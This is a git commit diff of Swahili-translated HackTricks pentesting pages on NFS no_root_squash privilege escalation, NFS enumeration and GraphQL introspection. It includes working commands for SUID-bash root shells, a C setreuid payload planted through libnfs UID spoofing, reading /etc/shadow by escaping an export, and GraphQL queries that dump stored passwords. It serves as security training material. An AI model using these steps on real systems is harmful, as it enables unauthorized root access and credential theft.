Translated ['src/linux-hardening/privilege-escalation/nfs-no_root_squash

This commit is contained in:
Translator 2025-02-05 00:26:17 +00:00
parent 4fa02883b3
commit 8f19177f0d
10 changed files with 468 additions and 364 deletions

View File

@ -1,18 +1,29 @@
{{#include ../../banners/hacktricks-training.md}}
Soma _ **/etc/exports** _ faili, ikiwa unapata directory ambayo imewekwa kama **no_root_squash**, basi unaweza **kufikia** hiyo kutoka **kama mteja** na **kuandika ndani** ya hiyo directory **kama** ungekuwa **root** wa mashine hiyo.
# Squashing Basic Info
**no_root_squash**: Chaguo hili kimsingi linampa mamlaka mtumiaji wa root kwenye mteja kufikia faili kwenye seva ya NFS kama root. Na hii inaweza kusababisha athari kubwa za usalama.
NFS kwa kawaida (hasa katika linux) itatumia `uid` na `gid` zilizotolewa na mteja anayejitahidi kufikia faili (ikiwa kerberos haitumiki). Hata hivyo, kuna baadhi ya mipangilio ambayo inaweza kuwekwa kwenye seva ili **kubadilisha tabia hii**:
**no_all_squash:** Hii ni sawa na chaguo la **no_root_squash** lakini inatumika kwa **watumiaji wasiokuwa root**. Fikiria, una shell kama mtumiaji nobody; umeangalia faili ya /etc/exports; chaguo la no_all_squash lipo; angalia faili ya /etc/passwd; fanya kama mtumiaji asiye root; tengeneza faili ya suid kama mtumiaji huyo (kwa kuunganisha kwa kutumia nfs). Tekeleza suid kama mtumiaji nobody na kuwa mtumiaji tofauti.
- **`all_squash`**: Inakandamiza ufikiaji wote kwa kubadilisha kila mtumiaji na kundi kuwa **`nobody`** (65534 unsigned / -2 signed). Hivyo, kila mtu ni `nobody` na hakuna watumiaji wanaotumika.
- **`root_squash`/`no_all_squash`**: Hii ni chaguo la kawaida kwenye Linux na **inakandamiza tu ufikiaji wenye uid 0 (root)**. Hivyo, `UID` na `GID` yoyote inakubaliwa lakini `0` inakandamizwa kuwa `nobody` (hivyo hakuna uigaji wa root unaowezekana).
- **``no_root_squash`**: Mipangilio hii ikiwa imewezeshwa haikandamizi hata mtumiaji wa root. Hii inamaanisha kwamba ikiwa unakata dirisha na mipangilio hii unaweza kufikia kama root.
Katika **/etc/exports** faili, ikiwa unapata dirisha ambalo limepangiliwa kama **no_root_squash**, basi unaweza **kufikia** kutoka **kama mteja** na **kuandika ndani** ya dirisha hilo **kama** ungekuwa **root** wa mashine hiyo.
Kwa maelezo zaidi kuhusu **NFS** angalia:
{{#ref}}
/network-services-pentesting/nfs-service-pentesting.md
{{#endref}}
# Privilege Escalation
## Remote Exploit
Ikiwa umepata udhaifu huu, unaweza kuutumia:
- **Kuweka hiyo directory** kwenye mashine ya mteja, na **kama root kunakili** ndani ya folda iliyounganishwa faili ya **/bin/bash** na kumpa haki za **SUID**, na **kutekeleza kutoka kwa mashine** ya mwathirika hiyo binary ya bash.
Chaguo la 1 kutumia bash:
- **Kukata dirisha hiyo** katika mashine ya mteja, na **kama root kunakili** ndani ya folda iliyokatwa **/bin/bash** binary na kuipa **SUID** haki, na **kutekeleza kutoka kwa mashine ya mwathirika** hiyo bash binary.
- Kumbuka kwamba ili kuwa root ndani ya NFS share, **`no_root_squash`** lazima iwe imepangiliwa kwenye seva.
- Hata hivyo, ikiwa haijawezeshwa, unaweza kupandisha hadhi kwa mtumiaji mwingine kwa kunakili binary hiyo kwenye NFS share na kuipa ruhusa ya SUID kama mtumiaji unayetaka kupandisha hadhi.
```bash
#Attacker, as root user
mkdir /tmp/pe
@ -25,7 +36,9 @@ chmod +s bash
cd <SHAREDD_FOLDER>
./bash -p #ROOT shell
```
- **Kuweka hiyo directory** kwenye mashine ya mteja, na **kama root kunakili** ndani ya folda iliyowekwa payload yetu iliyotengenezwa ambayo itatumia ruhusa ya SUID, itapeleka **SUID** haki, na **kuitekeleza kutoka kwa** mashine ya mwathirika hiyo binary (unaweza kupata hapa baadhi ya [C SUID payloads](payloads-to-execute.md#c)).
Option 2 kutumia msimbo wa c uliokamilishwa:
- **Kuweka hiyo directory** kwenye mashine ya mteja, na **kama root kunakili** ndani ya folda iliyowekwa payload yetu iliyokamilishwa ambayo itatumia ruhusa ya SUID, itapeleka **SUID** haki, na **kuitekeleza kutoka kwa** mashine ya mwathirika hiyo binary (unaweza kupata hapa baadhi ya [C SUID payloads](payloads-to-execute.md#c)).
- Vikwazo sawa kama hapo awali
```bash
#Attacker, as root user
gcc payload.c -o payload
@ -42,14 +55,14 @@ cd <SHAREDD_FOLDER>
## Local Exploit
> [!NOTE]
> Kumbuka kwamba ikiwa unaweza kuunda **tunnel kutoka kwa mashine yako hadi mashine ya mwathirika unaweza bado kutumia toleo la Remote kutekeleza kupanda kwa haki hii kwa kutunga bandari zinazohitajika**.\
> Huu ni ujanja wa kufuata ikiwa faili `/etc/exports` **inaonyesha IP**. Katika kesi hii **hutaweza kutumia** kwa hali yoyote **exploit ya mbali** na utahitaji **kudhulumu ujanja huu**.\
> Kumbuka kwamba ikiwa unaweza kuunda **tunnel kutoka kwa mashine yako hadi mashine ya mwathirika unaweza bado kutumia toleo la Remote ili kutumia hii privilege escalation kwa kutunza bandari zinazohitajika**.\
> Huu ni ujanja wa kufuata ikiwa faili `/etc/exports` **inaonyesha IP**. Katika kesi hii **hutaweza kutumia** kwa hali yoyote **remote exploit** na utahitaji **kudhulumu ujanja huu**.\
> Sharti lingine muhimu ili exploit ifanye kazi ni kwamba **export ndani ya `/etc/export`** **lazima litumie bendera ya `insecure`**.\
> --_Sijui kama `/etc/export` inaonyesha anwani ya IP ujanja huu utafanikiwa_--
## Basic Information
Hali hii inahusisha kutumia NFS share iliyowekwa kwenye mashine ya ndani, ikitumia kasoro katika spesifikesheni ya NFSv3 ambayo inaruhusu mteja kubainisha uid/gid yake, ambayo inaweza kuwezesha ufikiaji usioidhinishwa. Kutekeleza kunahusisha kutumia [libnfs](https://github.com/sahlberg/libnfs), maktaba inayoruhusu kutunga NFS RPC calls.
Hali hii inahusisha kutumia NFS share iliyowekwa kwenye mashine ya ndani, ikitumia kasoro katika spesifikasiyo ya NFSv3 ambayo inaruhusu mteja kubainisha uid/gid yake, ambayo inaweza kuwezesha ufikiaji usioidhinishwa. Kutumia exploit kunahusisha kutumia [libnfs](https://github.com/sahlberg/libnfs), maktaba inayoruhusu uongo wa NFS RPC calls.
### Compiling the Library
@ -60,36 +73,31 @@ Hatua za ukusanyaji wa maktaba zinaweza kuhitaji marekebisho kulingana na toleo
make
gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/
```
### Kufanya Uhalifu
### Kufanya Ushambuliaji
Uhalifu unahusisha kuunda programu rahisi ya C (`pwn.c`) inayoinua mamlaka hadi root na kisha kutekeleza shell. Programu inakusanywa, na binary inayotokana (`a.out`) inawekwa kwenye sehemu yenye suid root, ikitumia `ld_nfs.so` kuficha uid katika wito za RPC:
1. **Kusanya msimbo wa uhalifu:**
Ushambuliaji unahusisha kuunda programu rahisi ya C (`pwn.c`) inayoinua mamlaka hadi root na kisha kutekeleza shell. Programu inakusanywa, na binary inayotokana nayo (`a.out`) inawekwa kwenye sehemu yenye suid root, ikitumia `ld_nfs.so` kudanganya uid katika wito za RPC:
1. **Kusanya msimbo wa ushambuliaji:**
```bash
cat pwn.c
int main(void){setreuid(0,0); system("/bin/bash"); return 0;}
gcc pwn.c -o a.out
```
2. **Weka uhalifu kwenye sehemu na badilisha ruhusa zake kwa kuficha uid:**
2. **Weka exploit kwenye share na kubadilisha ruhusa zake kwa kudanganya uid:**
```bash
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out
```
3. **Tekeleza uhalifu ili kupata mamlaka ya root:**
3. **Teua exploit ili kupata ruhusa za mzizi:**
```bash
/mnt/share/a.out
#root
```
## Bonus: NFShell for Stealthy File Access
## Bonus: NFShell kwa Ufikiaji wa Faili wa Siri
Mara tu ufikiaji wa root unapopatikana, ili kuingiliana na sehemu ya NFS bila kubadilisha umiliki (ili kuepuka kuacha alama), skripti ya Python (nfsh.py) inatumika. Skripti hii inarekebisha uid ili kuendana na ile ya faili inayofikiwa, ikiruhusu kuingiliana na faili kwenye sehemu bila matatizo ya ruhusa:
Mara tu ufikiaji wa root unapatikana, ili kuingiliana na NFS share bila kubadilisha umiliki (ili kuepuka kuacha alama), script ya Python (nfsh.py) inatumika. Script hii inarekebisha uid ili kuendana na ile ya faili inayofikiwa, ikiruhusu kuingiliana na faili kwenye share bila matatizo ya ruhusa:
```python
#!/usr/bin/env python
# script from https://www.errno.fr/nfs_privesc.html

View File

@ -6,27 +6,64 @@
**NFS** ni mfumo ulioandaliwa kwa ajili ya **client/server** ambao unawawezesha watumiaji kufikia faili kwa urahisi kupitia mtandao kana kwamba faili hizi ziko ndani ya directory ya ndani.
Sifa muhimu ya protokali hii ni ukosefu wa **uthibitishaji** au **mitambo ya ruhusa** iliyojengwa ndani. Badala yake, ruhusa inategemea **taarifa za mfumo wa faili**, ambapo seva inawajibika kutafsiri kwa usahihi **taarifa za mtumiaji zilizotolewa na mteja** katika **format ya ruhusa** inayohitajika na mfumo wa faili, ikifuata hasa **sintaksia ya UNIX**.
Uthibitishaji kwa kawaida unategemea **vitambulisho vya `UID`/`GID` vya UNIX na uanachama wa vikundi**. Hata hivyo, changamoto inajitokeza kutokana na uwezekano wa kutofautiana katika **mappings ya `UID`/`GID`** kati ya wateja na seva, na kuacha nafasi ya kuthibitisha zaidi na seva. Kwa hivyo, protokali hii inafaa zaidi kutumika ndani ya **mitandao ya kuaminika**, kutokana na kutegemea njia hii ya uthibitishaji.
**Port ya kawaida**: 2049/TCP/UDP (isipokuwa toleo la 4, inahitaji tu TCP au UDP).
**Default port**: 2049/TCP/UDP (isipokuwa toleo la 4, inahitaji tu TCP au UDP).
```
2049/tcp open nfs 2-3 (RPC #100003
```
### Authentication
Sifa inayojulikana ya protokali hii ni ukosefu wake wa kawaida wa **authentication** au **authorization mechanisms** zilizojengwa ndani. Badala yake, authorization inategemea **file system information**, ambapo server inawajibika kwa kutafsiri kwa usahihi **client-provided user information** katika **authorization format** inayohitajika na file system, hasa ikifuatilia **UNIX syntax**.
Authentication kwa kawaida inategemea **UNIX `UID`/`GID` identifiers na group memberships**. Hata hivyo, changamoto inatokea kutokana na uwezekano wa kutofautiana katika **`UID`/`GID` mappings** kati ya wateja na seva, na kuacha nafasi ya ziada ya uthibitisho kutoka kwa seva. Aidha, maelezo haya yanatumwa na mteja na kuaminika na seva, hivyo mteja mbaya anaweza kuweza **kujifanya kuwa mtumiaji mwingine akituma `uid` na `gid` zenye mamlaka zaidi**.
**Hata hivyo, kumbuka kwamba kwa kawaida haiwezekani kujifanya kuwa `UID` 0 (root) kwa kutumia NFS. Zaidi kuhusu hii katika sehemu ya squashing.**
#### Hosts
Ili kupata **authorization** bora (au baadhi), unaweza kubainisha **hosts** ambazo zinaweza kufikia NFS share. Hii inaweza kufanywa katika faili ya Linux `/etc/exports`. Kwa mfano:
```
/PATH/TO/EXPORT      CLIENT1(OPTIONS1) CLIENT2(OPTIONS2) ...
/media/disk/share   192.168.2.123(rw,sec=krb5p:krb5i)
```
As you can see, it allows to configure a specific **IP** or **hostname** to access the share. Only that address will be able to access the share.
### Versions
- **NFSv2**: Toleo hili linatambulika kwa ufanisi wake mpana na mifumo mbalimbali, likionyesha umuhimu wake katika operesheni za awali hasa kupitia UDP. Kwa kuwa **zamani** zaidi katika mfululizo, lilijenga msingi wa maendeleo ya baadaye.
- **NFSv2**: Toleo hili linatambulika kwa ufanisi wake mpana na mifumo mbalimbali, likionyesha umuhimu wake katika operesheni za awali hasa juu ya UDP. Kwa kuwa ni **ya zamani** katika mfululizo, ilianzisha msingi wa maendeleo ya baadaye.
- **NFSv3**: Iliyotambulishwa kwa mabadiliko mbalimbali, NFSv3 ilipanua juu ya mtangulizi wake kwa kusaidia ukubwa wa faili tofauti na kutoa mifumo bora ya kuripoti makosa. Licha ya maendeleo yake, ilikabiliwa na mipaka katika ufanisi wa kurudi nyuma kwa wateja wa NFSv2.
- **NFSv3**: Ilianzishwa kwa mabadiliko mbalimbali, NFSv3 ilipanua juu ya mtangulizi wake kwa kusaidia ukubwa wa faili tofauti na kutoa mifumo bora ya kuripoti makosa. Licha ya maendeleo yake, ilikabiliwa na vikwazo katika ufanisi wa kurudi nyuma kwa wateja wa NFSv2.
- **NFSv4**: Toleo muhimu katika mfululizo wa NFS, NFSv4 ilileta seti ya vipengele vilivyoundwa kuboresha ushirikiano wa faili katika mitandao. Maboresho makubwa ni pamoja na ujumuishaji wa Kerberos kwa **usalama wa juu**, uwezo wa kupita kupitia moto na kufanya kazi juu ya Mtandao bila haja ya portmappers, msaada wa Orodha za Udhibiti wa Ufikiaji (ACLs), na utambulisho wa operesheni za msingi wa hali. Maboresho yake ya utendaji na kupitishwa kwa itifaki ya hali inafanya NFSv4 kuwa maendeleo muhimu katika teknolojia za ushirikiano wa faili mtandaoni.
- **NFSv4**: Toleo muhimu katika mfululizo wa NFS, NFSv4 ilileta seti ya vipengele vilivyoundwa kuboresha ushirikiano wa faili katika mitandao. Maboresho makubwa ni pamoja na ujumuishaji wa Kerberos kwa **usalama wa juu**, uwezo wa kupita kwenye moto na kufanya kazi juu ya Mtandao bila haja ya portmappers, msaada wa Orodha za Udhibiti wa Ufikiaji (ACLs), na utambulisho wa operesheni za msingi wa hali. Maboresho yake ya utendaji na kupitishwa kwa itifaki ya hali inafanya NFSv4 kuwa maendeleo muhimu katika teknolojia za ushirikiano wa faili za mtandao.
- Kumbuka kwamba ni ajabu sana kupata mwenyeji wa Linux NFS ukisaidia uthibitishaji wa kerberos.
Kila toleo la NFS limeandaliwa kwa nia ya kukabiliana na mahitaji yanayobadilika ya mazingira ya mtandao, ikiongeza usalama, ufanisi, na utendaji kwa hatua kwa hatua.
Kila toleo la NFS limeandaliwa kwa nia ya kukabiliana na mahitaji yanayobadilika ya mazingira ya mtandao, ikiongeza usalama, ufanisi, na utendaji.
### Squashing
Kama ilivyotajwa hapo awali, NFS kwa kawaida itategemea `uid` na `gid` za mteja ili kufikia faili (ikiwa kerberos haitumiki). Hata hivyo, kuna baadhi ya mipangilio ambayo inaweza kuwekwa kwenye seva ili **kubadilisha tabia hii**:
- **all_squash**: Inakandamiza ufikiaji wote ikitafsiri kila mtumiaji na kundi kuwa **`nobody`** (65534 unsigned / -2 signed). Hivyo, kila mtu ni `nobody` na hakuna watumiaji wanaotumika.
- **root_squash/no_all_squash**: Hii ni ya kawaida kwenye Linux na **inakanusha ufikiaji tu na uid 0 (root)**. Hivyo, `UID` na `GID` yoyote inatambulika lakini `0` inakandamizwa kuwa `nobody` (hivyo hakuna uigaji wa root unaowezekana).
- **no_root_squash**: Mipangilio hii ikiwa imewezeshwa haikandamizi hata mtumiaji wa root. Hii inamaanisha kwamba ikiwa unakata directory na mipangilio hii unaweza kuifikia kama root.
### Subtree check
Inapatikana tu kwenye Linux. man(5) exports inasema: "Ikiwa subdirectory ya mfumo wa faili inasafirishwa, lakini mfumo mzima wa faili haujasafirishwa basi kila wakati ombi la NFS linapofika, seva lazima ikague si tu kwamba faili inayofikiwa iko katika mfumo wa faili unaofaa (ambayo ni rahisi) bali pia kwamba iko katika mti wa kusafirishwa (ambayo ni ngumu zaidi). Ukaguzi huu unaitwa ukaguzi wa subtree."
Katika Linux **kipengele cha `subtree_check` kimezimwa** kwa kawaida.
## Enumeration
### Useful nmap scripts
### Showmount
Hii inaweza kutumika ili **kupata taarifa kutoka kwa seva ya NFSv3**, kama orodha ya **exports**, nani **anayeruhusiwa kufikia** hizi exports, na wateja gani wameunganishwa (ambayo inaweza kuwa si sahihi ikiwa mteja anajitenga bila kumwambia seva).
Katika **wateja wa NFSv4 wanapata moja kwa moja /export** na kujaribu kufikia exports kutoka hapo, wakishindwa ikiwa ni batili au isiyoruhusiwa kwa sababu yoyote.
Ikiwa zana kama `showmount` au moduli za Metasploit hazionyeshi taarifa kutoka kwa bandari ya NFS, huenda ni seva ya NFSv4 ambayo haisaidii toleo la 3.
```bash
showmount -e <IP>
```
### Maneno muhimu ya nmap
```bash
nfs-ls #List NFS exports and check permissions
nfs-showmount #Like showmount -e
@ -36,13 +73,17 @@ nfs-statfs #Disk statistics and info from NFS share
```bash
scanner/nfs/nfsmount #Scan NFS mounts and list permissions
```
### Mounting
### nfs_analyze
Ili kujua **ni folda ipi** ambayo server **inapatikana** kuunganishwa, unaweza kuomba kutumia:
Chombo hiki kutoka [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) kinaweza kutumika kupata data nyingi kutoka kwa seva ya NFS kama **mounts**, toleo za NFS zinazoungwa mkono, IP zilizounganishwa, na hata kama inawezekana **kutoroka kutoka kwa exports** kwenda kwa folda nyingine katika FS au **kama `no_root_squash` imewezeshwa**.
## Mounting
Ili kujua **ni folda ipi** ambayo seva ina **inapatikana** ili kuweza kuikamilisha, unaweza kuomba kwa kutumia:
```bash
showmount -e <IP>
```
Kisha pandisha kwa kutumia:
Kisha pandisha kutumia:
```bash
mount -t nfs [-o vers=2] <ip>:<remote_folder> <local_folder> -o nolock
```
@ -53,13 +94,38 @@ Unapaswa kubainisha **tumia toleo la 2** kwa sababu halina **uthibitishaji** au
mkdir /mnt/new_back
mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock
```
## Permissions
## Attacks
Ikiwa unakata folder ambayo ina **files au folders ambazo zinaweza kufikiwa tu na mtumiaji fulani** (kwa **UID**). Unaweza **kuunda** **katika** eneo la ndani mtumiaji mwenye **UID** hiyo na kwa kutumia **mtumiaji** huyo utaweza **kufikia** file/folder.
### Trusting UID and GID
## NSFShell
Ofc, tatizo pekee hapa ni kwamba kwa default haiwezekani kujifanya kuwa root (`UID` 0). Hata hivyo, inawezekana kujifanya kuwa mtumiaji mwingine yeyote au ikiwa `no_root_squash` imewezeshwa unaweza pia kujifanya kuwa root.
Ili orodhesha kwa urahisi, kukata na kubadilisha UID na GID ili kupata ufikiaji wa files unaweza kutumia [nfsshell](https://github.com/NetDirect/nfsshell).
- Ikiwa unakata folder ambayo ina **faili au folda zinazopatikana tu na mtumiaji fulani** (kwa **UID**). Unaweza **kuunda** **katika** **mitaa** mtumiaji mwenye **UID** hiyo na kwa kutumia **mtumiaji** huyo utaweza **kufikia** faili/folda.
- Chombo **`fuse_nfs`** kutoka [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) kitaweza kutuma kila wakati UID na GID zinazohitajika kufikia faili.
### SUID Privilege Escalation
Angalia ukurasa:
{{#ref}}
/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md
{{#endref}}
### Escaping from the exports
Katika [makala hii nzuri](https://www.hvs-consulting.de/en/nfs-security-identifying-and-exploiting-misconfigurations/) inawezekana kuona kwamba inawezekana **kutoroka kutoka kwa exports ili kufikia folda nyingine katika FS**.
Hivyo, ikiwa export inasafirisha folda ambayo ni **subfolder** ya **faili nzima ya mfumo** inawezekana kufikia faili nje ya export ikiwa **`subtree_check`** imezimwa. Na ime **zimwa kwa default katika Linux**.
Kwa mfano, ikiwa seva ya NFS inasafirisha `/srv/` na `/var/` iko katika mfumo huo huo wa faili, inawezekana kusoma logi kutoka `/var/log/` au kuhifadhi webshell katika `/var/www/`.
Zaidi ya hayo, kumbuka kwamba kwa default mtumiaji tu wa root (0) anprotected kutoka kwa kujifanya (angalia sehemu ya Squash). Hata hivyo, ikiwa faili ni **miliki ya root lakini kundi si 0, inawezekana kufikia**. Kwa mfano, faili `/etc/shadow` ni miliki ya root lakini kundi ni `shadow` (gid 42 kwenye Debian). Hivyo, inawezekana kuisoma kwa default!
Chombo **`nfs_analyze`** kutoka [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) kimejengwa kusaidia shambulio hili dhidi ya mifumo ya faili ext4, xfs, btrfs katika toleo la 3 (inapaswa pia kuwa inawezekana katika v4).
### NSFShell
Ili orodhesha kwa urahisi, kuunganisha na kubadilisha UID na GID ili kupata ufikiaji wa faili unaweza kutumia [nfsshell](https://github.com/NetDirect/nfsshell).
[Nice NFSShell tutorial.](https://www.pentestpartners.com/security-blog/using-nfsshell-to-compromise-older-environments/)
@ -68,13 +134,13 @@ Ili orodhesha kwa urahisi, kukata na kubadilisha UID na GID ili kupata ufikiaji
/etc/exports
/etc/lib/nfs/etab
```
### Dangerous settings
## Dangerous settings
- **Read and Write Permissions (`rw`):** Mipangilio hii inaruhusu kusoma na kuandika kwenye mfumo wa faili. Ni muhimu kuzingatia athari za kutoa ufikiaji mpana kama huu.
- **Use of Insecure Ports (`insecure`):** Wakati imewezeshwa, hii inaruhusu mfumo kutumia bandari zilizo juu ya 1024. Usalama wa bandari zilizo juu ya kiwango hiki unaweza kuwa dhaifu, kuongeza hatari.
- **Visibility of Nested File Systems (`nohide`):** Mipangilio hii inafanya saraka kuonekana hata kama mfumo mwingine wa faili umewekwa chini ya saraka iliyosambazwa. Kila saraka inahitaji kuingia kwake mwenyewe kwa usimamizi sahihi.
- **Visibility of Nested File Systems (`nohide`):** Mipangilio hii inafanya saraka kuonekana hata kama mfumo mwingine wa faili umewekwa chini ya saraka iliyosafirishwa. Kila saraka inahitaji kuingia kwake mwenyewe kwa usimamizi sahihi.
- **Root Files Ownership (`no_root_squash`):** Kwa mipangilio hii, faili zinazoundwa na mtumiaji wa root zinahifadhi UID/GID yao ya awali ya 0, bila kuzingatia kanuni ya haki ndogo na huenda ikatoa ruhusa nyingi.

View File

@ -8,7 +8,7 @@ GraphQL inasisitizwa kama **mbadala mzuri** kwa REST API, ikitoa njia rahisi ya
## GraphQL na Usalama
Kwa kuibuka kwa teknolojia mpya, ikiwa ni pamoja na GraphQL, udhaifu mpya wa usalama pia unatokea. Kitu muhimu cha kuzingatia ni kwamba **GraphQL haina mifumo ya uthibitishaji kwa chaguo-msingi**. Ni jukumu la wanakuza kutekeleza hatua hizo za usalama. Bila uthibitishaji sahihi, maeneo ya GraphQL yanaweza kufichua taarifa nyeti kwa watumiaji wasio na uthibitisho, na kuleta hatari kubwa ya usalama.
Kwa kuibuka kwa teknolojia mpya, ikiwa ni pamoja na GraphQL, udhaifu mpya wa usalama pia unatokea. Kitu muhimu cha kuzingatia ni kwamba **GraphQL haina mifumo ya uthibitishaji kwa chaguo-msingi**. Ni jukumu la wanakuza kutekeleza hatua za usalama kama hizo. Bila uthibitishaji sahihi, maeneo ya GraphQL yanaweza kufichua taarifa nyeti kwa watumiaji wasio na uthibitisho, na kuleta hatari kubwa ya usalama.
### Mashambulizi ya Directory Brute Force na GraphQL
@ -41,7 +41,7 @@ Graphql kwa kawaida inasaidia **GET**, **POST** (x-www-form-urlencoded) na **POS
#### Utafiti
Ili kutumia utafiti kugundua taarifa za muundo, uliza uwanja wa `__schema`. Uwanja huu upo kwenye aina ya mzizi ya maswali yote.
Ili kutumia utafiti kugundua taarifa za muundo, uliza uwanja wa `__schema`. Uwanja huu upo kwenye aina ya mzizi wa maswali yote.
```bash
query={__schema{types{name,fields{name}}}}
```
@ -57,7 +57,7 @@ Kwa hii query unaweza kutoa aina zote, mashamba yake, na hoja zake (na aina za h
**Makosa**
Ni ya kuvutia kujua kama **makosa** yataonyeshwa kama yatatoa **habari** muhimu.
Ni ya kuvutia kujua kama **makosa** yataonyeshwa kwani yatatoa **habari** muhimu.
```
?query={__schema}
?query={}
@ -65,7 +65,7 @@ Ni ya kuvutia kujua kama **makosa** yataonyeshwa kama yatatoa **habari** muhimu.
```
![](<../../images/image (416).png>)
**Kuhesabu Muundo wa Taarifa za Hifadhidata kupitia Introspection**
**Kuhesabu Muundo wa Hifadhidata kupitia Introspection**
> [!NOTE]
> Ikiwa introspection imewezeshwa lakini swali hapo juu halifanyi kazi, jaribu kuondoa mwelekeo wa `onOperation`, `onFragment`, na `onField` kutoka kwa muundo wa swali.
@ -166,7 +166,7 @@ Mstari wa mwisho wa msimbo ni ombi la graphql ambalo litatoa taarifa zote za met
![](<../../images/image (363).png>)
Ikiwa uchunguzi umewezeshwa unaweza kutumia [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager) kuona katika GUI chaguzi zote.
Ikiwa uchunguzi umewezeshwa unaweza kutumia [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager) kutazama katika GUI chaguzi zote.
### Kuuliza
@ -192,8 +192,8 @@ Unaweza tu kuuliza kwa:
```javascript
query = { hiddenFlags }
```
Katika mfano mwingine ambapo kulikuwa na vitu 2 ndani ya aina ya kitu "_Query_": "_user_" na "_users_".\
Ikiwa vitu hivi havihitaji hoja yoyote kutafuta, unaweza **kupata taarifa zote kutoka kwao** kwa **kuuliza** tu data unayotaka. Katika mfano huu kutoka kwa Mtandao unaweza kutoa majina ya watumiaji na nywila zilizohifadhiwa:
Katika mfano mwingine ambapo kulikuwa na vitu 2 ndani ya kitu cha "_Query_": "_user_" na "_users_".\
Ikiwa vitu hivi havihitaji hoja yoyote kutafuta, unaweza **kupata taarifa zote kutoka kwavyo** kwa **kuomba** tu data unayotaka. Katika mfano huu kutoka mtandaoni unaweza kutoa majina ya watumiaji na nywila zilizohifadhiwa:
![](<../../images/image (880).png>)
@ -202,24 +202,24 @@ Hata hivyo, katika mfano huu ikiwa unajaribu kufanya hivyo unapata **kosa** hili
![](<../../images/image (1042).png>)
Inaonekana kwa namna fulani itatafuta kwa kutumia hoja ya "_**uid**_" ya aina _**Int**_.\
Hata hivyo, tayari tulijua hilo, katika sehemu ya [Basic Enumeration](graphql.md#basic-enumeration) ulipendekezwa uchunguzi ambao ulitonyesha taarifa zote zinazohitajika: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
Hata hivyo, tayari tulijua hilo, katika sehemu ya [Basic Enumeration](graphql.md#basic-enumeration) ulipendekezwa kuandika swali lililoonyesha taarifa zote zinazohitajika: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
Ikiwa utasoma picha iliyotolewa wakati nilipokimbia uchunguzi huo utaona kwamba "_**user**_" alikuwa na **arg** "_**uid**_" ya aina _Int_.
Ikiwa utasoma picha iliyotolewa wakati nilipokimbia swali hilo utaona kwamba "_**user**_" alikuwa na **arg** "_**uid**_" ya aina _Int_.
Hivyo, kwa kufanya _**uid**_ bruteforce kidogo niligundua kwamba katika _**uid**=**1**_ jina la mtumiaji na nywila vilipatikana:\
`query={user(uid:1){user,password}}`
![](<../../images/image (90).png>)
Kumbuka kwamba niligundua kuwa naweza kuuliza kuhusu **vigezo** "_**user**_" na "_**password**_" kwa sababu ikiwa nitajaribu kutafuta kitu ambacho hakipo (`query={user(uid:1){noExists}}`) napata kosa hili:
Kumbuka kwamba niligundua kuwa naweza kuomba **vigezo** "_**user**_" na "_**password**_" kwa sababu ikiwa jaribu kutafuta kitu ambacho hakipo (`query={user(uid:1){noExists}}`) napata kosa hili:
![](<../../images/image (707).png>)
Na wakati wa **awamu ya uainishaji** niligundua kwamba kitu "_**dbuser**_" kilikuwa na kama maeneo "_**user**_" na "_**password**_.
Na wakati wa **awamu ya uainishaji** niligundua kwamba kitu cha "_**dbuser**_" kilikuwa na kama maeneo "_**user**_" na "_**password**_.
**Hila ya kutupa mfuatano wa uchunguzi (shukrani kwa @BinaryShadow\_)**
**Hila ya kutupa mfuatano wa swali (shukrani kwa @BinaryShadow\_)**
Ikiwa unaweza kutafuta kwa aina ya mfuatano, kama: `query={theusers(description: ""){username,password}}` na unafanya **uchunguzi kwa mfuatano tupu** itatoa **data zote**. (_Kumbuka mfano huu hauhusiani na mfano wa mafunzo, kwa mfano huu dhani unaweza kutafuta kwa kutumia "**theusers**" kwa uwanja wa Mfuatano unaoitwa "**description**"_).
Ikiwa unaweza kutafuta kwa aina ya mfuatano, kama: `query={theusers(description: ""){username,password}}` na unafanya **tafuta kwa mfuatano tupu** itatoa **data zote**. (_Kumbuka mfano huu hauhusiani na mfano wa mafunzo, kwa mfano huu dhani unaweza kutafuta kwa kutumia "**theusers**" kwa uwanja wa String unaoitwa "**description**"_).
### Kutafuta
@ -283,15 +283,15 @@ name
```
### Mutations
**Mutations zinatumika kufanya mabadiliko katika upande wa seva.**
**Mabadiliko yanatumika kufanya mabadiliko katika upande wa seva.**
Katika **introspection** unaweza kupata **mutations** zilizotangazwa. Katika picha ifuatayo, "_MutationType_" inaitwa "_Mutation_" na kitu cha "_Mutation_" kina majina ya mutations (kama "_addPerson_" katika kesi hii):
Katika **introspection** unaweza kupata **mabadiliko** **iliyotangazwa**. Katika picha ifuatayo "_MutationType_" inaitwa "_Mutation_" na kitu cha "_Mutation_" kina majina ya mabadiliko (kama "_addPerson_" katika kesi hii):
![](<../../images/Screenshot from 2021-03-13 18-26-27 (1).png>)
Katika mpangilio huu, **database** ina **persons** na **movies**. **Persons** zinatambulika kwa **email** zao na **jina**; **movies** kwa **jina** na **rating**. **Persons** wanaweza kuwa marafiki na kila mmoja na pia wana filamu, ikionyesha uhusiano ndani ya database.
